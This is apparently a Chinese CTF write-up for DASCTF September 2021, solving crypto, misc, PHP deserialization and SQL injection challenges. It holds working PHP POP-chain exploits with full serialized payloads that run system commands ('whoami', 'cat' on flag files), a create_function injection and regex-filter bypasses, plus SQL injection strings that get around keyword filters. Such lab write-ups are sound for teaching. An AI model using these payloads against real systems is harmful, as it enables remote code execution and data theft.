9月DASCTF Sept X 浙江工业大学秋季挑战赛WP

image-20210926220931456

crypto-签到

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random
flag=b'flag{******************}'
n = 2 ** 256
flaglong=bytes_to_long(flag)
m = random.randint(2, n-1) | 1
c = pow(m, flaglong, n)
print('m = ' + str(m))
print('c = ' + str(c))

# m = 73964803637492582853353338913523546944627084372081477892312545091623069227301
# c = 21572244511100216966799370397791432119463715616349800194229377843045443048821

解题脚本

1
2
3
4
5
6
7
8
9
from sympy.ntheory import discrete_log
n = 2 ** 256
m = 73964803637492582853353338913523546944627084372081477892312545091623069227301
c = 21572244511100216966799370397791432119463715616349800194229377843045443048821

flag = discrete_log(n,c,m)
print(hex(flag))

# flag{DASCTF_zjut}

misc-Girlfriend’s account

解题过程

1
=SUM(ISNUMBER(SEARCH(TEXT({1,2,3,4,5,6,7,8,9},"[dbnum2]"&{"0亿";"0仟!*万";"0佰!*万";"0拾!*万";"0万";"万!*0仟";"万!*0佰";"万!*0拾";"0元";"0角";"0分"}),IF(ISERR(FIND("万",A2)),"万",)&A2))*{1,2,3,4,5,6,7,8,9}*10^{8;7;6;5;4;3;2;1;0;-1;-2})
1
=IF(B2="壹",1,IF(B2="贰",2,IF(B2="叁",3,IF(B2="肆",4,IF(B2="伍",5,IF(B2="陆",6,IF(B2="柒",7,IF(B2="捌",8,IF(B2="玖",9,IF(B2="零",0))))))))))

image-20210926154730951

web-hellounser

考点

反序列化(pop链构造)

preg_match绕过

前置知识

魔术方法

1
2
__invoke	当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__toString 方法用于一个类被当成字符串时应怎样回应。(当类被 echo 当成字符串输出时,会调用该方法)

解题过程

打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}

class B{
public $func;
public $arg;

public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}

public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}


}

if(isset($_GET['pop'])){
$aaa = unserialize($_GET['pop']);
$aaa();
}
else{
highlight_file(__FILE__);
}

?>

分析

构造利用链

比较简单

1
# $aaa();->A::__invoke() ->A::show() -> B::__toString ->B::show()

通过$aaa();调用触发 A::__invoke(),A::__invoke()会触发A::show(),A::show()中有个echo输出,会触发B::__toString,B::__toString会触发B::show();

接下来就是绕过。

getflag

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}

利用点 $func('', $this->arg); ,根据Code Breaking 挑战赛 Writeup。构造出

1
2
3
4
create_function('','return 123;}phpinfo();//)
等价于
create_function(){
return 123;}phpinfo();//)

当$func 为create_function,$this->arg为 return 123;}phpinfo();//)的时候,就会执行到phpinfo();

上面只是构造了利用,这里还需要绕过两个条件。

1
2
preg_match('/^[a-z0-9]*$/isD', $this->func)
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)

第一个正则对传入的字符串进行了首位必须是字母数字的匹配,直接用wp中给出的 \ 绕过。

第二个正则过滤了很多的关键字,但是没有过滤base64_decode,system等函数,这里直接用base64_decode+system绕过,但是需要注意的 ,这个正则中过滤了= ,有时候进行base64编码的时候,会遇到末尾有=的情况,这种情况可以换成其他函数进行编码。构造如下payload

1
2
3
$func="\create_function";
$arg="return 111;}system(base64_decode(d2hvYW1p));//";
# d2hvYW1p whoami

序列化构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

# 反序列化 A
class A
{
public $var;
}

class B
{
public $func;
public $arg;
}

if (1) {
$a = new A();
$b = new B();
$b->func = "\create_function";
$b->arg = "return 111;}system(base64_decode(d2hvYW1p));//";
$a->var = $b;
var_dump(serialize($a));
} else {
highlight_file(__FILE__);
}

得到

1
O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:16:"\create_function";s:3:"arg";s:46:"return 111;}system(base64_decode(d2hvYW1p));//";}}

提交

image-20210926120443236

成功执行

payload

1
2
Y2F0IGZsYWcucGhw // cat flag.php
O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:16:"\create_function";s:3:"arg";s:54:"return 111;}system(base64_decode(Y2F0IGZsYWcucGhw));//";}}

image-20210926133608847

这里还需要查看 Tru3flag.php 文件,这里会存在一个小小的问题

1
2
3
cat Tru3flag.php 进行base64编码后得到 Y2F0IFRydTNmbGFnLnBocA==
后面会有两个=,不能过正则。这里我直接采用${IFS}代替空格。
cat${IFS}Tru3flag.php 进行base64编码 得到 Y2F0JHtJRlN9VHJ1M2ZsYWcucGhw
1
O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:16:"\create_function";s:3:"arg";s:66:"return 111;}system(base64_decode(Y2F0JHtJRlN9VHJ1M2ZsYWcucGhw));//";}}

image-20210926134131182

web-xxc

考点

源码泄露

反序列化(多个文件的pop链构造)

前言

这道题对于我来说还算是比较难,在网上找到一位师傅写的wp,只能到执行phpinfo,不能拿到flag,目前这道题的wp还没有师傅公布出来,做这道题对于构造pop链有一定提升,所以照着这位大佬的wp复现。

wp 地址

https://blog.csdn.net/weixin_43610673/article/details/120496058

前置知识

魔术方法

1
2
3
4
5
6
__destruct 	该函数会在类的一个对象被删除时自动调用。
__call 在对象中调用一个不可访问方法时,__call() 会被调用。
__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
__toString 方法用于一个类被当成字符串时应怎样回应。其实就是调用
__isset 当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty()。会被调用。
__invoke 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

复现过程

这道题通过扫目录,扫到了源码,直接在本地搭建复现。

目录结构

image-20210929154418765

因为文件太多,直接就贴关键地方截图了。

利用点

image-20210929154554739

目前只发现一个利用点,这个利用点位与 class\Method\Func\GenerateFile.php 文件,GenerateFile的myGen方法中call_user_fun函数 ,这个利用点的$length并不可控,这也就是为什么只能执行 phpinfo() 的原因,因为不能控制参数。

pop链构造

class\Control\State\StopHook.php

image-20210929155713725

序列化入口,class\Control\State\StopHook.php ,

当序列化StopHook类的时候,会自动调用__destruct方法,在__destruct方法中又会调用_exit,这里的_exit方法中的 $process->stop() 能够触发 class\Faker\MyGenerator.phpMyGenerator__call方法。

class\Faker\MyGenerator.php

image-20210929160322129

__call方法中的echo $this->defaultCall能够触发class\Method\Func\GetFile.php中的GetFile类的__toString方法,__toString中会调用getFiles方法,而getFiles方法中的 $this->flag->{$this->value}能够触发class\Method\Func\GetDefault.php中的__isset方法。

class\Method\Func\GetFile.php

image-20210929160718602

class\Method\Func\GetDefault.php

image-20210929161043487

class\Method\Func\GetDefault.php中的__isset方法会调用popup 方法,popup方法中的 return $s($length) ,可以触发class\Method\Func\GenerateFile.php中的__invoke方法,而__invoke方法又会调用 myGen,通过控制$this->source->generate来执行phpinfo

class\Method\Func\GenerateFile.php

image-20210929161529864

链条

1
StopHook::__destruct->StopHook::_exit->MyGenerator::__call->GetFile::__toString->GetFile::getFiles->GetDefault::__isset->GetDefault::popup->GenerateFile::__invoke->GenerateFile::myGen->利用点call_user_func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<?php

namespace Control\State{

use Faker\MyGenerator;
class StopHook {
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;
# 析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
public function __construct()
{
$this->processes = [new MyGenerator()];
}

public function __destruct() {
// echo "123666";
$this->_exit();
}

private function _exit() {
// 返回单元顺序相反的数组 逆序数组
foreach(array_reverse($this->processes) as $process) {
//
if (!$process->isRunning) {
// echo "omg";
continue;
}
# $process->stop() 通常可触发__call
# $process =

$process->stop();
}
}
}
}

namespace Faker{
use Method\Func\GetFile;
class MyGenerator {

protected $defaultValue;
public function __construct()
{
$this->defaultValue = new GetFile();
}

# 在对象中调用一个不可访问方法时调用
public function __call($method, $arg_array) {
// echo "__call";
echo $this->defaultCall;
return $this->defaultCall;
}
# 获得一个类的成员变量时调用
public function __get($property) {
// echo "__get";
return $this->defaultValue;
}
}
}

namespace Method\Func{
class GenerateFile {
public $flag;
protected $buffer;
# __invoke 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
public function __construct()
{
$this->source->generate = "phpinfo";
}

public function __invoke($param) {
// echo "__invoke";
$this->myGen($param);
}

public function myGen($length) {
// echo "myGen";
$s = $this->buffer->read;
# 利用点
call_user_func($this->source->generate, $length);
return $s;
}
}
class GetDefault {
private $source;
public function __construct()
{
$this->source = new GenerateFile();
$this->source->flag = "myTest";
}

public function popup($length) {
// echo "popup";
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}
# 当对不可访问属性调用 isset()或empty()时调用
public function __isset($property) {
// echo "__isset";
// echo $property;
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}

class GetFile {

private $flag = true;
private $files = [];
# 类被当成字符串时的回应方法
public function __construct()
{
$this->flag = new GetDefault();
$this->value = 'test';
}

public function __toString() {
#
// echo "__toString";
return $this->getFiles();
}

public function getFiles() {
if (!$this->flag) return "denied";
$s = "";

if (isset($this->flag->{$this->value})) {
return "test";
}

foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}
}

namespace {
# StopHook::__destruct->StopHook::_exit->MyGenerator::__call->GetFile::__toString->GetFile::getFiles->GetDefault::__isset->GetDefault::popup->GenerateFile::__invoke->GenerateFile::myGen->利用点call_user_func
# StopHook::__destruct->StopHook::_exit->MyGenerator::__get->GetDefault::__isset->GetDefault::popup->GenerateFile::__invoke->利用点call_user_func
echo base64_encode(serialize(new Control\State\StopHook()));
}

得到

1
TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6Mzp7czo5OiIAKgBvdXRwdXQiO047czo5OiIAKgBjb25maWciO2E6MTp7czo0OiJhdXRvIjtpOjA7fXM6MTI6IgAqAHByb2Nlc3NlcyI7YToxOntpOjA7TzoxNzoiRmFrZXJcTXlHZW5lcmF0b3IiOjE6e3M6MTU6IgAqAGRlZmF1bHRWYWx1ZSI7TzoxOToiTWV0aG9kXEZ1bmNcR2V0RmlsZSI6Mzp7czoyNToiAE1ldGhvZFxGdW5jXEdldEZpbGUAZmxhZyI7TzoyMjoiTWV0aG9kXEZ1bmNcR2V0RGVmYXVsdCI6MTp7czozMDoiAE1ldGhvZFxGdW5jXEdldERlZmF1bHQAc291cmNlIjtPOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiOjM6e3M6NDoiZmxhZyI7czo2OiJteVRlc3QiO3M6OToiACoAYnVmZmVyIjtOO3M6Njoic291cmNlIjtPOjg6InN0ZENsYXNzIjoxOntzOjg6ImdlbmVyYXRlIjtzOjc6InBocGluZm8iO319fXM6MjY6IgBNZXRob2RcRnVuY1xHZXRGaWxlAGZpbGVzIjthOjA6e31zOjU6InZhbHVlIjtzOjQ6InRlc3QiO319fX0

执行

image-20210929162108309

小结

没成功拿到flag,也学到了不少,也是头一次构造这么复杂的pop链。还是太菜了。

拿flag的解法

前言

上次做到只能执行phpinfo,就有点不甘心,为什么别人就能getshell,我就不能。经过这几天在群里咨询一些师傅,一个师傅(Object师傅)给了我一条博客链接2021 第二届 “祥云杯” 网络安全大赛 WEB WriteUp,里面是祥云杯的ezyii 题wp,不过题目内容大致差不多,有一个点基本一样,就是用call_user_func($this->source->generate,$length);,只能控制$this->source->generate,而不能控制$length。这里到底要怎么才能利用呢?答案是回调函数。但是知道答案后,并没有第一时间做出来,我把$this->source->generate赋值为function (){system('phpinfo();');} ,然后进行反序列化的时候,没有了回显,这里一直卡了我很久。

直到看到 Opis Closure

If you ever used closures then you probably know that closures are not serializable. Trying to serialize a closure will result into an exception:

如果您曾经使用过闭包,那么您可能知道闭包是不可序列化的。尝试序列化闭包将导致异常:

意思就是以function (){system('phpinfo();');}的方式进行序列化,会失败。

1
2
3
4
5
6
7
8
9
10
11
use Opis\Closure\SerializableClosure;

// Recursive factorial closure
$factorial = function ($n) use (&$factorial) {
return $n <= 1 ? 1 : $factorial($n - 1) * $n;
};

// Wrap the closure
$wrapper = new SerializableClosure($factorial);
// Now it can be serialized
$serialized = serialize($wrapper);

里面给出了序列化闭包的方式,但当我按照里面的方式去使用的时候,发现还是没有回显。

直到今早 ,又重新看了这篇博客祥云杯2021 ezyii的反序列化pop链分析,这篇描述得更详细些。得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

里面对$a = function(){phpinfo();};进行了如下三个步骤,序列化闭包,反序列化,赋值给$this->source。当我按照这样的方式去构造时,我又遇到了没有回显的问题,为此,我还特地弄了个xdebug调试,调试到$a = \Opis\Closure\serialize($a);就结束了。为什么会这样呢?经过对比两份payload,我发现,人家都引入了include("closure/autoload.php");,这个文件,这也是解决问题的关键所在,这个就是\Opis\Closure\serialize的环境。

接下来直接贴payload。

拿flag payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
<?php
namespace Control\State;
use Faker\MyGenerator;
class StopHook {
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;
# 析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
public function __construct()
{
$this->processes = [new MyGenerator()];
}

public function __destruct() {
echo "__destruct"."\n";
$this->_exit();
}

private function _exit() {
echo "_exit"."\n";
// 返回单元顺序相反的数组 逆序数组
foreach(array_reverse($this->processes) as $process) {
# 这里会触发__get() 但是不会执行 continue
if (!$process->isRunning) {
continue;
}
# $process->stop() 通常可触发__call 但是并没有触发
# 这里会触发 __call()
$process->stop();
}
}
}
# 序列化
echo base64_encode(serialize(new StopHook()));

namespace Faker;
use Method\Func\GetFile;
class MyGenerator {

protected $defaultValue;
public function __construct()
{
$this->defaultValue = new GetFile();
}

# 在对象中调用一个不可访问方法时调用
public function __call($method, $arg_array) {
echo "__call"."\n";
echo $this->defaultCall;
return $this->defaultCall;
}
# 获得一个类的成员变量时调用
public function __get($property) {
echo "__get"."\n";
# return new GetFile();
return $this->defaultValue;
}
}


namespace Method\Func;

class GetFile {

private $flag = true;
private $files = [];
public function __construct()
{
$this->flag = new GetDefault();
$this->value = 'test';
}

# 类被当成字符串时的回应方法
public function __toString() {
echo "__toString";
#
return $this->getFiles();
}

public function getFiles() {
if (!$this->flag) return "denied";
$s = "";
# 这里能够触发 _isset
if (isset($this->flag->{$this->value})) {
return "test";
}

foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}

namespace Method\Func;

class GetDefault {
private $source;
public function __construct()
{
$this->source = new GenerateFile();
$this->source->flag = 'myTest';
}

public function popup($length) {
echo "popup"."\n";
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}
# 当对不可访问属性或调用isset()或empty()时调用
public function __isset($property) {
echo "__isset"."\n";
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}

namespace Method\Func;
class GenerateFile {
public $flag;
protected $buffer;
# __invoke 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
public function __construct()
{
include("closure/autoload.php");
$a = function (){system('cat /f1@g.txt');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source->generate = $b;

// $this->source->generate = 'phpinfo'; // 能够执行

}

public function __invoke($param) {
echo "__invoke"."\n";
$this->myGen($param);
}

public function myGen($length) {
$s = $this->buffer->read;
# 利用点
// call_user_func($this->source->generate, $length);
call_user_func($this->source->generate,$length);
return $s;
}
}



?>
1
TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6Mzp7czo5OiIAKgBvdXRwdXQiO047czo5OiIAKgBjb25maWciO2E6MTp7czo0OiJhdXRvIjtpOjA7fXM6MTI6IgAqAHByb2Nlc3NlcyI7YToxOntpOjA7TzoxNzoiRmFrZXJcTXlHZW5lcmF0b3IiOjE6e3M6MTU6IgAqAGRlZmF1bHRWYWx1ZSI7TzoxOToiTWV0aG9kXEZ1bmNcR2V0RmlsZSI6Mzp7czoyNToiAE1ldGhvZFxGdW5jXEdldEZpbGUAZmxhZyI7TzoyMjoiTWV0aG9kXEZ1bmNcR2V0RGVmYXVsdCI6MTp7czozMDoiAE1ldGhvZFxGdW5jXEdldERlZmF1bHQAc291cmNlIjtPOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiOjM6e3M6NDoiZmxhZyI7czo2OiJteVRlc3QiO3M6OToiACoAYnVmZmVyIjtOO3M6Njoic291cmNlIjtPOjg6InN0ZENsYXNzIjoxOntzOjg6ImdlbmVyYXRlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTkxOnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjM4OiJmdW5jdGlvbiAoKXtcc3lzdGVtKCdjYXQgL2YxQGcudHh0Jyk7fSI7czo1OiJzY29wZSI7czoyNDoiTWV0aG9kXEZ1bmNcR2VuZXJhdGVGaWxlIjtzOjQ6InRoaXMiO047czo0OiJzZWxmIjtzOjMyOiIwMDAwMDAwMDAyZjEwODQ3MDAwMDAwMDA3YWMzZTgwYiI7fX19fX1zOjI2OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmaWxlcyI7YTowOnt9czo1OiJ2YWx1ZSI7czo0OiJ0ZXN0Ijt9fX19

image-20211001103248921

总结

这道题做了很长时间,挺耽误时间的,经常是看着屏幕,一点思路都没有。但是反过来说,下次再遇到这个题,我还是只能执行phpinfo,会很不甘心。

web-ctfmanage

解题过程

sql注入

检测注入方式

1
2
a=1 uniunionon selselectect 1,2,3#&b=1 
a=1 Union Select 1,2,3#&b=1

获取数据库表

1
2
1 Union Select 1,2,database();# 
=>ctf

获取表名

1
2
1 Union Select 1,2,group_concat(table_name) From mysql.innodb_table_stats Where database_name = database();#
=>flagisthere,ilikectf

无列名注入获取值

1
2
1 Union Select * From ilikectf;# 
=>36476,sgrsgef,gg.php

代码审计

打开gg.php

1
2
3
4
5
6
7
8
9
10
11
12
13
if(base64_encode(hex2bin(strrev(bin2hex($_GET['sy']))))===$secret)
{
if($_POST['ha']!==$_POST['lo']&&md5($_POST['ha'])===md5($_POST['lo'])){
echo $flag;
}
else{
echo 'ohhhhh so close !!!';
}
}
else
{
highlight_file(__FILE__);
}

看到第一个条件可能会愣住,不过不影响,在登录页面看源代码的时候得到。

image-20211002103701778

1
hjZX1pcnVmdmRzZWZ/bGlg==
1
echo hex2bin(strrev(bin2hex(base64_decode("hjZX1pcnVmdmRzZWZ/bGlg=="))));

得到

1
ilovectfverymuch

绕过

1
if($_POST['ha']!==$_POST['lo']&&md5($_POST['ha'])===md5($_POST['lo']))

POST:

1
ha[]=a&lo[]=b

获取flag

image-20211002110502094

小结

这道题的难点我觉得主要是在注入点检测、和无列名获取值的payload构造,并不是那种常规思路,我也不知道为什么通过Union Select 或ununionion selselectect这样能够检测出来,看不到源码。不过可以通过FUZZ,但我不太熟,而且也没有字典,是时候收集一波了。